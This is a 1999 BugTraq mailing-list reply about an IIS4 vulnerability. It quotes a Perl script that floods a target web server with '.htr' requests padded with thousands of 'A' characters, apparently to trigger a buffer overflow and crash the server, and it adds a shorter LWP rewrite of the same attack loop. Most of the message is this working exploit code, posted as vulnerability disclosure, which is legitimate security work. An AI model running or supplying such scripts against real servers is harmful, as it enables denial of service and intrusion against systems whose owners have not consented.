Date: Tue, 15 Jun 1999 16:59:08 -0700
From: "Randal L. Schwartz" <merlyn@STONEHENGE.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Retina vs. IIS4, Round 2, KO

>>>>> "Ryan" == Ryan R Permeh <rrpermeh@RCONNECT.COM> writes:

Ryan> #!/usr/bin/perl
Ryan> #props to the absu crew
Ryan> use Net::Telnet;
Ryan> for ($i=2500;$i<3500;$i++)
Ryan>  {
Ryan>         $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
Ryan>         my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
Ryan>         print "$cmd\n";$obj->print("$cmd");
Ryan>         $obj->close;
Ryan>  }

It's silly to use Net::Telnet for HTTP:

    use LWP::Simple;
    for ($i = 2500; $i <= 3500; $i++) {
      warn "$i\n";
      get "http://$ARGV[0]/".('a' x $i).".htr";
    }

--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@teleport.com)
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me